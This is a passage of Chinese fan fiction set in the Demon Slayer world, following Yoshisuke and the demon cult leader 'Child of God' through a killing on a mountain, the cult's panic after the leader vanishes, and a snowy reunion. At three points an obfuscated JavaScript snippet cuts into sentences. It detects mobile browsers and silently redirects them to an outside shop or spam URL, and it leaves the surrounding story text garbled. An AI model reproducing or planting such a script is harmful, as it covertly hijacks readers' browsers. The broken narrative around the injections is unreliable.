和十岁时在山里迷路的那一夜一样,暗红和服外披着黑色法衣、一副悠哉样子的男人就那样悄无声息地出现在月光下,洁白长发上的鬼纹恰似鲜血浇铸成的冠冕。 那双眼睛在黑暗里散发出虹彩的幽光,只不过左眼中清晰地写着“上弦”,右眼中写着“贰”。 “上弦…贰?” 吉助听到青木发出了窒息般的声音,连忙安慰道: “别担心,教主大人他不是坏人…呃,坏鬼。教主大人,他们俩是…” “我知道啊,小吉,他们是猎鬼人。” 教主大人笑眯眯地说。 “但是完~全~不行啊,你们几个孩子闹了这么久,都快把我的山给烧了,却连一只下级鬼还没杀掉,我开始有点怀疑鬼杀队最近招募队员的水准了呐~” “没…没杀掉?” “对呀,”他用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252401|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中合起的金扇指了指崖边,“那位阁下不是还活着嘛~” 吉助转头,毛骨悚然地看到那只被烧的焦黑的藤鬼不知何时爬了上来,竟然静悄悄地蹲在悬崖边,再生的血肉发出嘶嘶的声响,不多时,空洞的眼眶里就翻出一对赤红的眼珠。 但不知为何,藤鬼完全没有动作,而是蜷缩在地上一动不动,嘴里还含糊地念叨着什么。 教主大人踩着木屐,咔哒咔哒的走了过来,看样子相当随意,青木和水野两个人的脸色却惨白到了极点。 路过他们二人时,他轻声说: “我有话要问这位阁下,等下再处理你们的事,所以最好乖乖呆在那边不要乱动哦。啊,对了,你们的乌鸦已经死了。” 青木脸上青筋暴起,攥紧刀柄的手也在微微发颤。教主大人却没看他,而是径直朝着缩成一团的藤鬼走了过去。 “阁下是怎么一回事嘛?” 他用相当温和的语气说。 “已经有上百年没见过闯进别人家里狩猎的下级鬼啦,想必是有什么难言之隐?跟我说说吧,我从来不会为难下面的人哦~” 藤鬼的声音因为恐惧而变得尖锐起来: “咱不知道…这里是您的…您的…地盘!是…是…吉原的上弦之陆大人的命令…‘杀了那两个来过德岛屋的碍眼画师’…她是这么说的!咱…咱只是奉命行事啊!” “原来如此!”教主大人恍然道,“小堕姬那孩子又在闹脾气了,真是可爱呢,回头要好好安慰她才行~毕竟她和她哥哥都是经由我推荐成为鬼的嘛,我们之间的缘分可是相当深的哦~嗯,这样就没办法啦,我也不好再说什么,就请阁下快点离开吧~” 他甚至颇为优雅地后退了半步,让出了一条道。 “不能饶它!这家伙吃了秋也!”吉助气愤地大声说,“它还想剥我的皮来着!这种坏家伙留着只能祸害更多的人,必须杀了才行!” “秋也?”教主大人有些困惑地看着他,“那是谁呀?” 吉助被问得愣了愣。 “秋也是我在学校最好的朋友,他…他死了。”他低声说。 “啊,我明白啦,小吉长大了,有了自己的朋友呢,你这么努力,原来都是为了朋友吗?” 教主大人微笑道:“很不错哦,果然不出我所料,小吉是个好孩子呢~” 他的目光越过吉助,望向面前的悬崖,琉璃般多彩的瞳孔在月色下盈满梦幻泡影般的虚无。 “小琴叶也一样,你们都是心地善良的孩子。” “真想把你们…留在我身边呀……” 被突如其来的凛冽刀风扯的七零八落的,是这样一句略带凉意的叹息。 吉助完全没看清发生了什么,只见面前掀起了滔天的刀光,又在顷刻之间归于寂静。白发的男人站在依然保持着挥刀姿态的青木和那只藤鬼中间,右手展开了一把金扇,暗红的血沿着雕琢精美的莲华纹缓缓滴落,左手却握着一把日轮刀。 他将日轮刀丢在地上,然后露出个恶作剧般的笑容。 “看吧,我说什么来着,杀鬼就是要砍断脖子才行嘛~” 藤鬼的头啪嗒一声掉在地上,似乎在愕然中嘟囔了句“上弦大人…”,就化作了灰烬。 几乎同一时间,青木的脖颈处也喷出了一道血泉,他瞪着面前笑意盈盈的上弦鬼,颓然倒地。 “真一!!” 水野发出一声凄厉的悲鸣,手中的刀也跟着掉落在地上。 那面目如菩萨般和善的上弦鬼,竟在一瞬间就用锋利的金扇割断了青木的脖子,又用青木的日轮刀砍掉了身后的鬼首。 甚至快到连动作都看不清。 “怎么会…怎么会遇到上弦…”她失神地喃喃自语,“明明马上就能升到甲级了…” “真可怜,你们的运气的确不太好呢~” 教主大人走到瘫坐的少女面前,用修长苍白的指尖温柔地摩挲着她的脸颊,落下了两滴眼泪。 “不过没关系,你再也不会痛苦了,我会赐你幸福的永生哦。” “不…” “要”字还未说出口,吉助就听见一声轻微的脆响,水野的脖子扭成了一个奇怪的角度,整个身体软了下去。 她死了。 御岳山重归寂静,这寂静因着黎明前望不见底的黑暗,而令人倍感压抑。 最终还是教主大人的声音打破了寂静。 “诶呀,天快亮了。” 仿佛什么都没发生,他依然用那种“神之子”特有的、轻快而柔和的语气说道。 “我要回去啦。” 说罢,他拎起水野的尸体,依然踩着木屐,咔哒咔哒的朝来路走去。 吉助忽然明白,这或许是最后的机会了。 “教主大人!” 少年踉跄向前,用力抹了把脸上的血和汗。 “我什么都知道了。”他说。 “嗯?”白发的男人转过身,似笑非笑地看着他,“小吉果然是个聪明的孩子呀。那我也就不解释啦,毕竟,人类总是无法理解我的救赎嘛~” 吉助目不转睛地盯着他。 “先祖…飞鸟斋他…最后死于肺病,留下的遗言是:决意死荒野,秋风吹我身。” (我有一位重要的友人…) (他…活着就已沦为非人…堕入地狱道…背负无尽罪孽…) 教主大人困惑地歪了歪头。 “肺病吗?真可怜,一定很痛苦吧。那孩子宁愿就这样受尽折磨而死,也不肯找我帮忙结束痛苦…”他叹了口气,“真是个愚蠢又顽固的人呀。” 吉助深深地吸了口气。 “不是的,先祖他…并不为自己选择的死法感到后悔。” 他含着眼泪,大声说: “他是不想增加您的罪孽啊!教主大人,求您停手吧!现在停手的话…” 教主大人微笑着打断了他:“在说什么傻话呀,小吉。这世上有那么多永远得不到幸福的可怜人,帮助他们是我的使命啊。” (虽然知道他罪孽深重,我却一直觉得…他有一颗神佛般的心…) “不是的!” 吉助攥紧拳头,眼泪夺眶而出: “我过得很幸福啊,在教主大人身边…真的很幸福啊…是您教会了我写字,是您教会了我…人不必被这世上的规则束缚,您也教会了我…一切都要依靠自己的力量,要靠自己…才能得到幸福!” “但是您的所作所为…我无法接受!我…我想做个堂堂正正的人,不想背负着他人的性命活下去!” “请您…杀了我吧!” 少年跪倒在地,泪水一颗颗砸在干涸的黑色岩石上。 “杀了我吧!”他泣不成声地说。 教主大人静静地、面无表情地看着他。 过了片刻,他淡淡地说: “你父亲没告诉你吗?我只吃女人。” 随后,鬼的嘴角向上弯起,露出一个孩童般天真的微笑: “而且,小吉还有想实现的梦想吧?日本第一的画家什么的。我有点想看看,小吉会成为什么样的人呢。但现在看来,这是不可能办到的啊。” 他顿了顿,继续说道: “回去转告你父亲,就说是我说的,你们搬到奈良去吧,以后也不用再来见我了,咱们的缘分,就到此为止吧。” 吉助心中一震,似乎有什么久远而脆弱的东西“啪”的断裂了。 他猛的抬起头,却只看到了男人的背影,像他童年的记忆中那样,高大俊美,放浪不羁,从未有过任何改变。 夜风或是晨风,送来了“神之子”无忧无虑而略显飘渺的声音: “对啦,就算叫来猎鬼人也只是让他们白白送死而已,人类太弱小了,而我啊,是很厉害的鬼哦~” 明治三十七年(1904年)春,改名为“铁谷信诚”的吉助,带着父亲弘藏,登上了开往关西的电气火车。 回到学校,吉助将萩原的遗物转交给了他的家人,之后办理了退学。退学后,他成了一家版画店的学徒。二十五岁时,他用多年攒下的钱在东大寺附近的町里开了一间小小的版画店,专印佛经和佛像。随着年号更名为“大正”,他的店越开越大,“铁谷信诚”也成了当地颇有名气的版画家和山水画家。 直至此时,他才有了足够的信心,在自己店里出品的版画右下角钤上了“飞鸟斋”的印鉴。 他家中的佛龛下,始终供奉着两座小小的牌位,上面写着“青木真一”、“水野津子”两个陌生的名字,但每当有人问起,他却对那段过往闭口不答。 而家中最显眼的位置挂着一只玻璃相框,里面的纸张已发黄,墨迹却未褪色,是他的先祖、那位三代当家“飞鸟斋”,写给某位友人的信: ——江户沉浮二十载,在下常思索年少时与教主大人之辩。今人之所以渴盼救赎,正因此世如火宅,众生如蝼蚁,人人饱尝天道无常、世道不公之苦。然而,在下亦时常幻想,今后必定存在那样的理想之世,庶民不受欺凌,人不分贵贱,每个人都能像天上的飞鸟一样自在,无人再需要神佛的救赎。在下相信,铁谷家的后人必定能看到那样的时代,那才是在下心中所真正憧憬的极乐世界。 ——到了那时,比谁都悲悯着众生之苦的您,也终将得到解脱吧。 “教主大人对我说,人类不再需要神佛的时代一定很有趣,也许小吉那孩子真的能看到那样的时代呢。所以在那一天到来之前,他都会遵守约定,庇护铁谷家。” 身披高级羽织、已被学徒们尊称为“老师”的吉助,望着桌上那只他六岁时爱不释手的、曾插着白梅的陶瓶,怔然开口: “山田叔,您说教主大人他…失踪了?” 大正六年,鬼之一族在无限城之战中覆灭。 那只空无一物的陶瓶,是“神之子”留给铁谷家最后的祝福。 125. 【明治篇番外】未闻神名(6) “小吉,都这么晚了,你在那里做什么呐?” 八岁的吉助蹲在院子里的枫树下,红着眼眶抬起头。 不远处被灯笼照亮的走廊里,身披黑色法衣的男人一脸惊讶地看着他。 “教主大人…”男孩吸了吸鼻子,“我…我昨天在山上捡的小鸟死了。” 面前的地上挖了个浅坑,一只羽毛灰扑扑的雏鸟一动不动地躺在里面。 “下午还在叫呢,刚刚突然不动了…怎么办,我好难过…” 吉助攥着一根小树枝,树枝上还沾着泥土,哭的上气不接下气。 “诶…好可怜呀,小吉好可怜。” 教主大人走到他身边蹲了下来,看着浅坑里的死鸟,用充满同情的语气说道。 “我…我才不可怜,是小鸟很可怜啊,才这么小就死了…” “不对哦,可怜的是因为这件事哭个不停的小吉哦。” 吉助揉了揉眼睛,困惑地看着身旁一脸天真笑容的“神之子”。 “一切活着的生物都会死去,尸体腐烂,回归大地,死了的东西,是感受不到痛苦的。” 教主大人微笑着说。 “人们会为此感到痛苦,是因为他们把‘死’看成了一件可怕的事,正是这样的想法才让人惧怕死亡,但想法只是想法而已,因为虚幻的想法而遭受痛苦,正是人类的愚蠢之处呀。” 吉助完全听不懂这些话,但教主大人沉稳的声音仿佛有着某种奇特的力量,他竟然真的不那么难过了。 “死了就…什么也感觉不到了吗?”他喃喃道,“所以极乐世界或者地狱,也都不存在吗?” “那种东西只是人们编造的童话啦~” “可是,教主大人又是怎么知道的呢?” “诶,这个嘛…”教主大人故作神秘地眨了眨那双虹色的眼睛。 “其实我有试过一次哦。” “啊?怎…怎么试?” “我像你这么大的时候,父母就都死了。” 面前的男人转而用一本正经的语气说道。 “所以那年盂兰盆节的时候,我就许愿说,父亲大人,母亲大人,既然你们如此相信神佛和极乐世界的存在,那就趁现在回来告诉我那里是什么样子吧,极乐也好,地狱也好,什么都行,回来跟我说说吧。” “然后呢?”吉助紧张地问。 “然后…当然是什么都没发生啦!”教主大人哈哈大笑起来,“第二天早上一看,连用黄瓜做的精灵马都被鸟吃光啦~” 吉助也噗嗤一声笑了出来。 “什么啊,原来一点都不可怕嘛!” 因为虚幻的想法而遭受痛苦,人类正是这样的生物。 死亡意味着彻底的消失,意味着再也没有痛苦。 明知如此,明知如此… 为何活着的人就是无法释怀呢? “山田先生,山田先生,这里面就数您侍奉教主大人最久,您可得给我们个说法啊!” 吉助,不,他早已改名叫铁谷信诚了。望着面前一群闹哄哄的人,信诚只是默然坐在一旁。十几年没有回到这里,这些脸孔他一个都不认识,无论如何也没有立场说出自己的想法。 “教主大人抛弃我们了吗?这到底是怎么一回事啊?” “就是啊,之前从来没有过这样的事!无论信徒什么时候需要拜见,他都在,这是教主大人自己说的吧!这都快两个月了,我们接下来可怎么办啊?” “搞不好是‘神隐’,毕竟教主大人是神之子,就算发生什么灵异的事也不奇怪吧。但教团这么多人等着吃饭,往后到底该如何是好,得有人拿个主意啊。” 山田先生是个严肃而寡言的人,日常办事也十分可靠,但信诚看得出来,他也从未料想到会出现当下这种局面,否则也不会写信把他从奈良叫来一起商量对策。 “呜呜…讨厌…我不要…”有个女人哭了起来,“没有神子大人,大家就去不了极乐世界了呀,活着还有什么意义…” 她这一哭,立刻有几个人跟着哭了起来。 “神子大人,您不能丢下我们不管啊…” “对呀,明明说好了要带我们去极乐世界的…和子她们多幸运啊…” “真不公平啊,连神子大人都抛弃我们的话,谁还会拯救我们呢…” “喂,我说你们…也给我适可而止一点啊。” 一片哀声中传出了一个声音。信诚愣了愣才反应过来,那是他自己的声音,因为压抑着怒火而微微颤抖着。 “整天‘神子大人,神子大人’的叫,你们这些人…根本没有半点做人的觉悟吧。” 把自己的命运交托给神佛,世上没有比这更荒谬的事了。 您一直比谁都清楚这些人的荒谬和软弱。 但是,为什么啊…为什么您… 从来也没有放弃过呢? 山田先生也转过头,有些惊讶地看着他。 信诚攥紧了拳头,强压着情绪说道: “有这唉声叹气的工夫,不如好好想想自己的出路,要是教主大人真的…” 他突然说不出那个字,无论如何也做不到。 “…真的不回来了,难道你们要一直这样下去吗?难道就连一丁点振作起来的念头都没有吗?” “你这家伙在胡说什么!” 信徒里马上有人不服气地喊了起来。 “什么叫‘不回来了’?神之子是不会丢下我们不管的!” “就是,你一个外人懂什么!” “我家从我爷爷那辈就是神子大人的信徒,神子大人是唯一愿意听我们这些穷人诉苦的人,唯一愿意收留村子里没人要的女孩的人,他就是神佛显灵啊!” “就算想振作也没办法啊!”刚刚在哭的女人又哭了起来,整个人好像马上就要垮掉一样,“爹娘死后家里的田地都被哥哥嫂子占了,就这么狠心地把我赶出家门了,我一个女人又能去哪儿啊?” “我也是,早就跟家里断绝关系了。” “父母早死了,我腿脚又不好,去哪里都找不到活儿干啊…” “这么活着还不如去死,这世上只有神子大人能救我们啊…” 信诚一时哑口无言,胸中那团燃烧的怒火,就这样化作了悲哀。 教主大人,您看见了吗? 您一定在某处看着这一切,又露出了那种戏谑的笑容吧。 您一定会说:小吉,你这孩子可真笨。这些人就是因为人生没有出路,才会来投奔我的极乐教嘛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252402|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不,让我难以忍受的,并非这些人可悲的人生。 而是哪怕到了现在这种地步… 这世上依然没有一个人,为您感到担忧和悲伤。 “我明白了,你们…” 你们是真的把他当作神佛的化身了啊。 永远不会累,也不会死,永远微笑着端坐在祭坛上,倾听被这世界抛弃的人们的诉说,让每个人感到安心。 信诚露出一丝无人察觉的苦笑,然后换了种截然不同的语气。 “你们…果然对教主大人毫无信心啊!” “?!” 信徒们面面相觑,好像听到了什么从未听闻之事。 “你小子不要胡说八道了!我们…我们这些人的虔诚哪是你能理解的?!” “什么虔诚?我看你们不过是一群自以为是的蠢货罢了。”信诚冷哼道,“教主大人有说过他不回来了吗?” “哎?这……山田先生,教主大人临走前说过那种话吗?” 信徒中有人问道。 山田先生挠了挠光头,作出冥思苦想的样子。 “没有。”他诚恳地说,“教主大人那天只说临时有点事要出门一趟,晚课就先取消了,但早课前他一定会回来的。” “果真如此,那么就只剩下这一个办法了。” 信诚正襟危坐,两手按在膝盖上,大声说道: “诸位,考验你们信念的时刻到了,请一起祈祷吧!” “信…信念?你是指什么?” “我在奈良东大寺那边修行多年,这里面的玄妙多少也知道一些。” 信诚一本正经地说。 “倘若信徒的信心不足,或是心怀邪念,神佛就会收回他们的庇佑,这种时候必须一心一意祈祷才行,祈祷神明大人把‘神之子’送回来。所以,请大家放下疑虑,拿出你们的虔诚,证明给上天看看吧。” “寺里的米足够大家吃半年,在这期间请不必担心,就当是一场修行好了。” “还有,信心不足的人还是尽快离开比较好,欺瞒神佛可是要遭天谴的。” “这次可真是帮了大忙啊,小吉。” 送他出门时,山田先生欣慰地说。 “教主大人要是知道你长成了这么能干的男人,一定会很高兴吧。” 吉助笑着摇了摇头。 “山田叔,您就别拿我开玩笑了,这也只不过是权宜之计而已。买的米我会叫人送来的,还有什么需要帮忙的,您就直说吧。当务之急是大家一起齐心协力渡过难关,剩下的事,以后慢慢再想办法。” “小吉…你全都知道吧。” 吉助直视着护教先生的眼睛,平静地答道: “是的,我全都知道。” 一片早樱落在羽织上,被他轻轻掸落。 倘若这个世界上真有神佛,请听听我们这些可悲之人的祈祷吧。 我们这些渺小的、自私的、软弱的人类,日复一日,疲于奔命,对世道的不公和时代的更迭全都无能为力。 即便如此,我们也依然渴盼着救赎。 请把教主大人还给我们。 因为我们…因为我… 我还有那么多的话,没来得及对他说。 126. 【明治篇番外】未闻神名(7) 弘藏晚年时身体还算结实,执意要回滋贺乡下的老房子住,吉助没法子,只好送他归乡,又因为要兼顾店里的生意,父子俩一年也见不上几次面。好在此时他已成了乡亲们口中“在东京做大买卖的老板”,无人还记得当年将他们一家当作“幕府走狗”赶出村的旧事,老爹也就在邻里们的热情款待中安顿下来了。 “你小子真是一点也不像我。” 送走了前来道贺的村长一家,弘藏坐在廊下抽着烟,斜眼看着坐在另一边的儿子。 吉助膝上放了个画本子,正聚精会神地涂抹着什么,随口应了句:“怎么了?” “打点那些家伙花了不少钱吧?” 吉助抬起头,见老爹正用意味深长的眼神地盯着他。 即便到了这个年纪,还是会在父亲面前感到心虚,这大概就是为人子女的本能吧。 “您在说什么呀,没有的事。” “你这孩子从小主意就多,我早知道管不住你。” 父亲忽然感慨地说。他抽了口烟,又说: “这些年辛苦你了,阿吉,多亏你,老爹我也能扬眉吐气一回。” 话到最后已有些哽咽。 父亲一辈子鲜少有流露出情感的时刻,这感伤的气氛一来,吉助反倒有些不好意思,正要说几句宽慰的话,又听他感叹: “也多亏了教主大人啊,那天要不是他对我说‘小孩子还是多见见世面才好’,我无论如何也不会同意你去奈良念书的事…唉,我们一家欠他的人情是怎么也还不清了。” “…咱们不是约好了,以后不再提‘那个人’的事吗?” 缘分到此为止——那一夜,教主大人亲口说出了那样的话。 教主大人是活了百年以上的鬼,吉助能从鬼的手中逃离,已称得上是奇迹了。 然而,身为极乐教所庇护的铁谷一族的后代,又该如何自处,却没人能告诉他。 因此十几年来,吉助将御岳山中度过的那些岁月,以及所有说不清道不明的情感,一起深埋在心底,再未向任何人提起。 “话是这么说,但有件事我一直没告诉你…” 弘藏望向远处,深深地叹了口气。 “应该是用了什么法术吧,那扇子上…根本连一点磨损的痕迹都没有。” 吉助刚端起茶杯,闻言愣在了原地。 “没有磨损?”他的语气变得急切起来,“那他为什么还让我们去…” “我不知道。” 父亲苦笑。 “谁能猜得透神之子的心思呢?” 在连成片的农田尽头,是连绵起伏的黛青色群山,那最高的一座就是伊吹山了,山顶还有积雪,被落日的余晖映成了佛光般耀眼的金色。 滋贺一带有个传说:那堕为大妖魔的酒吞童子,曾经也是这伊吹山的山神。 非人之物,神异之物,既施以恩惠,也降下灾祸,只可跪拜,不可接近,所谓神明,大概就是这样的存在了。 可是,神明究竟是怀着怎样的心情活在这世间的呢?又是因为什么堕落为妖魔的呢? 人类或许永远也没有机会知道了吧。 大正七年夏天,父亲的丧期结束,吉助就动身去了神户,参加与那边的朋友合开的写真馆的开幕式。神户的西洋人多,洋风更盛,拍家庭写真因而成了颇受民众追捧的时髦行为。但事不凑巧,开业没几天就赶上了因为米价过高而引发的大骚乱,为了保护珍贵的摄影器材,吉助只能和朋友轮流住在馆里,这么一耽搁,回到奈良已是深秋时节。 “老师,有您的信,是从东京寄来的。” 要不是店里学徒的提醒,吉助差点错过那封混在一堆广告画样品里的信。 “银座…洋食屋?现在连咖啡馆都会用邮寄广告了吗?不过这字写的倒是真不赖。” 吉助哑然失笑,然而当他展开信时,神色不由得认真了许多。 轧花信纸上,是和信封上一样隽秀的字迹,行文的风格却颇为大方: 致铁谷信诚先生, 虽有些冒昧,但您看到信时,枫叶应该红了,冬天也已经不远了吧。 山田先生跟我说了您的事。教团于危难之时承蒙您的关照,感激不尽。如先生不嫌弃,不知岁末之时,能否邀您前来御岳山一同赏雪? 山路艰险,但今年的雪景甚是美丽,想必不会令先生失望。 荒川染 “女人?” 吉助嘀咕道。 书法这么漂亮的女人如今可不多见,是哪家的大小姐吗?可完全不记得教中有这么一号人啊。 看样子和山田叔也相识,但…赏雪? “还真是赏雪啊…冷死了!” 吉助不停往冻僵的双手上哈着热气,这才抖开手中的信纸,又看了一遍,然后拍了拍那扇他无比熟悉的大门。 所以,最终还是来了…大过年的,这是在干嘛啊?明明那个人已经… “也没挂个灯笼,果然您不在的话,就全都变样了啊…” 吉助冻的边嘟囔边像只猴子似的跳来跳去,背后背着的布包也跟着上下晃动起来,让他马上停下了动作。 “这可不行,万一弄坏了的话…” 他自言自语地说,但又摇了摇头。 “我真是个笨蛋啊…” 等了半晌,也没人前来接应。吉助伸手又拍了拍,却发现门已经开了一条缝。 “奇怪…” 他没有多想,推开门走进了寺里。 眼前的一切丝毫没有改变。铺满白砂的庭院,迂回曲折的回廊,石灯笼照亮了冰封的莲池,雪花从夜空中寂然飘落。 就好像时光从未流逝,他还是那个背着塞满红薯和柿饼的包袱、兴冲冲一路跑向后殿的幼童。 ——教主大人,我从家里带了好吃的来哦! “呀…” 一声轻微的惊呼打断了回忆。 是个十三四岁的小姑娘,抱着只装满豆腐和魔芋的竹笸箩,正站在回廊下一脸惶恐地看着他。 没等吉助说话,女孩扭头就跑,边跑边喊: “荒川小姐!有个奇怪的人闯进来了!” “喂!等等!”吉助叫住她,“你是山田叔身边那个孩子吧?我是信诚啊,去年春天来过的,你忘啦?” 女孩盯着他,眼睛瞪的很圆。 “啊,你是送米的大叔!” “大…大叔?” 就算留了一点胡子也不是大叔吧! “…算了。小姑娘,那位荒川小姐人在哪里?写信把我从奈良叫过来的就是她。” 居然是在这里吗? 吉助看着障子门上的莲花,露出了怀念的神情。 “真是的,已经有点褪色了啊…”他喃喃道。 在这里烤鱿鱼干的情景,好像还是昨天才发生的事。 名叫“芥子”的小姑娘规规矩矩地跪坐在门边,拉开了茶室的门。 “荒川小姐,我把豆腐拿来啦。还有这位……” “是信诚先生吧?您能来真是太好了。” 茶室中央的地炉边,有个窈窕的身影。 那是一名身着瑠璃色二尺袖和紫袴,打扮的十分利落的少女。 吉助不由得挑了挑眉。 还真是…漂亮啊… 不是寻常可见的那种美人。这姑娘只是坐在那里,就带着一种沉静优雅的气质,简直就像…… 就像在晨辉中闪着光的河流一样。 他还在发呆,那名少女就已经面带微笑,轻轻俯身行礼道: “敝姓荒川,现在负责寺院中的接待工作。先生一路辛苦了,快进来喝杯茶吧,我还准备了点心,您就将这里当成自己家好了。” 糟糕了啊,这么下去主动权就完全在对方手里了。 于是吉助也拿出生意场上的派头,略一点头就抬脚进了屋子。 “那我就不客气了。” 用来搭配宇治茶的是福砂屋的长崎蛋糕,但别出心裁的加上了鲜奶油,味道竟然出乎意料的好。 “从信上看,荒川小姐在银座经营一家咖啡馆?” “其实是教团的产业,我只是代为打理。您的羽织都湿了吧?脱下来放在这边很快就能烤干,当心别着凉了。” “啊……” 让陌生男人在自己面前脱衣服?这姑娘还真是胆气过人啊… 然而被雪水浸透的衣服确实穿着不舒服,吉助也只好有点扭捏地脱了下来。那位荒川小姐竟然也没看他,而是用一双火筷子专注地摆弄着地炉里的炭火。 说起来,那旁边放着的漆绘食盒和铁锅是怎么回事? “那是…?” “您是指这个吗?因为天气太冷了,感觉很适合吃牛肉火锅,不过因为是过年,山田先生他们还是更习惯吃京都那边的杂煮,所以我们就自己享用吧。” 少女相当坦然地说。 啊啊,教主大人要是知道有人在他的茶室里煮牛肉火锅,不知道会是什么表情呢? “是、是啊,这天气也真要命,我记得往年的雪没有这么大…” “因为不想让无关紧要的人进来,特别是鬼杀队什么的。” “噗——咳咳咳…” 吉助刚喝了一口茶,听到这话直接被呛到了。 “虽然据说已经解散了,但寺院之前被打扰过,还是小心一些比较好,毕竟新年期间与人发生不和的话,一整年的运气都会受影响呢…啊,您不要紧吧?” “不、不要紧…”吉助掏出手帕擦了擦汗,“你怎么知道…” “关于鬼的事吗?”荒川小姐微微一笑,“那就说来话长了。总之我和先生一样,是得到过教主大人帮助的人。” 吉助的心中莫名地动了一下。 “教主大人他…果然是死了吧?” 他低声说道。 面前的少女并未直接回答,而是注视着吉助的眼睛。 “先生希望教主大人死吗?” 她问道。 吉助愣住了。 (我希望…那个人死吗?) “人类在做出选择时,是出于情感,还是出于立场,每个人都不一样。”荒川小姐捧着茶杯,露出一个微笑,“我想听听您真实的心意。” “我真实的…” ——呐,你是叫小吉对吧? ——画的很不错哦,小吉喜欢画画吗? “我…” 吉助猛的回过神来。 “开什么玩笑,我干嘛要告诉你啊!”他有点恼火地说,“我们明明是初次见面吧?” 荒川小姐好像被吓了一跳。 “说的也对,是我失礼了。”她低下头,叹了口气,“那就暂且不提这件事了,我们来吃牛肉火锅吧。” 说罢,她就真的将铁锅放在了炭火上,然后打开身边的食盒,一样一样介绍起来。 “这是神户那边出产的牛肉,纹理很漂亮吧?每盒要五十钱呢,所以千万别浪费了…说到这个,其实我不太擅长料理,这些是提前从外面的店预定的,不过豆腐和乌冬都是寺院里的大家一起做的哦,不知道厨房的大婶用了什么秘方,这个乌冬超级好吃呢!我以前从来没吃过牛肉火锅,总感觉这种吃法特别有趣,首先把这个牛油…” “等一下!”吉助忍不住打断了她。 “你这样叫我怎么吃得下啊!” “诶?” “算了…反正本来也打算做个了断的。” 吉助边嘟囔,边起身将自己带来的大布包拎了过来。 用蓝色棉布层层包裹的,是十几本装订整齐的画册,每一本封面上都用毛笔写着年份。 “明治三十七年…这是…?” 荒川染拿起最上面的一本翻开来,惊讶地发现那是一本植物画册,采用的是西洋画法,每一页上都画着不同的植物,细致到连叶片的形状都极为清晰,旁边用小字标注着名称和发现地点,那些地名遍布日本的各个县,植物的种类也千差万别,唯一的共同点是…… 它们的花都是蓝色的。 “教主大人他…从来没拜托过我任何事,除了那一次。” 吉助看着那堆画册,神情中充满怀念。 “他让我帮他找一种花,我当时觉得,这有什么难的啊,所以就跟他说‘无论什么要求,小吉我一定办到’。结果…” “结果那是一种谁都没听说过的花。这些年我只要有空就到山里去,好不容易收集了这么多资料,简直像个笨蛋一样…但我就是没办法,没办法忘记这件事,没办法忘记他…” “他说有人生了病,需要那种花救命,我猜生病的就是他自己吧,变成鬼,不能见阳光,只能吃人肉,和生病也没什么差别吧?他救过老爹的命,也救过我的命,我们铁谷家的人最守信义了,我一直想,在我死之前肯定能找到,就算我找不到,我的后代也一定能找到,有了那种花,也许他就能和我们一样…啊,真是糊涂!我在说什么呀!” 吉助用力摇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不,是您的心在说:无论你是什么,做过什么,在我眼里,你都是我最重要的亲人,我无论如何都不会放弃你。” “啊?”吉助的脸更红了,连连摆手,“亲人什么的…也太让人难为情了!而且什么叫教主大人现在还…” “就是嘛,小染说的这叫什么话,什么叫‘现在还无法理解’?这么简单的事,明明很容易理解嘛~” 那个轻快的声音响起的时候,吉助整个人都僵住了。 他缓缓回过头,看见房间另一侧的那扇纸门不知何时打开了。 一个男人坐在那里,一手托着腮,笑眯眯地看着他,虹色光华流转在他冰一样剔透的瞳孔里。 那张脸依然年轻俊美,带着一丝天真无邪的孩子气。 “欢迎回来哦,小吉。” 他说。 吉助睁大了眼睛,有那么一会儿工夫,室内只剩下他急促的呼吸声。 “搞什么啊…您…” “神之子”眨眨眼睛,露出迷惑不解的神情。 “我就知道…我就知道是这样…” 吉助像是变回了那名十六岁的少年,气的浑身发抖。 他不管不顾地跳了起来,冲到鬼的面前。 “哪有您这么胡闹的啊!也太过分了!” “山田叔急得不知道怎么办才好!信徒们整天都在吵!我又不敢告诉他们您是鬼的事,只能撒谎骗大家!后来账面上快没钱了,又没人知道您把钱藏哪里了!您这是在干什么啊?!连说都不说一声,就丢下整个教团消失了这么久,也太不负责了吧!” 教主大人脸上虚假的笑容消失了。 他坐直了身体,用那双奇特的虹色眼睛看着面前的男人。 “好奇怪哦…”他略显困惑地说。 “小吉发脾气的样子简直和弘藏一模一样…人类真有趣呀,你越来越像你父亲了呐。” “……您到底有没有在认真听我说话啊!” “在听哦,”教主大人很是无辜地点了点头,“做鬼嘛,不小心就被砍掉头了,是很正常的事哦,而且地狱真的好有趣,人家简直…” “根本不正常好吗!” 吉助一副咬牙切齿的模样,好像恨不得立刻扑上去把面前的鬼揍一顿似的。 但下一刻,他就跪倒在地,紧紧抱住了一脸茫然的鬼。 “太过分了…您这个人…太过分了!” 已经三十二岁的铁谷吉助,像个小孩子一样抽泣起来。 教主大人似乎从未经历过这样的事,过了半天,才终于发出了一声轻轻的叹息。 “果然还是不明白啊…” 他有点无奈地看向了坐在一旁的少女。 